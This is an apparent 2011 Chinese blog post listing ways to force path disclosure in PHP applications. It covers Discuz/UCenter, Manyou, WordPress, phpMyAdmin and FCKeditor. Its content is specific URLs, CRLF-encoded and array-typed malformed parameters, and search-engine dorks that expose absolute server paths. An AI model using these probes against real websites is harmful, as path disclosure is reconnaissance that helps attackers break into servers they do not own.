php爆绝对路径的几种方法

dz 爆绝对路径
/uc_server/control/admin/db.php
/ucenter/control/admin/db.php
/manyou/admincp.php?my_suffix=%0A%0DTOBY57
/manyou/userapp.php?%0D%0A=TOBY57

WordPress的平台,爆绝对路径的方法是:
url/wp-admin/includes/admin.php
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php


phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php


利用搜索引擎爆绝对路径
site:www.huangse.com Warning
site:www.huangse.com inurl:Warning

fckeditor 爆绝对路径
fckeditor\editor\dialog\fck_spellerpages\spellerpages\server-scripts\spellchecker.php

posted on 2011-04-27 03:41  小宝哥哥  阅读(1321)  评论(0编辑  收藏  举报

导航

Tasup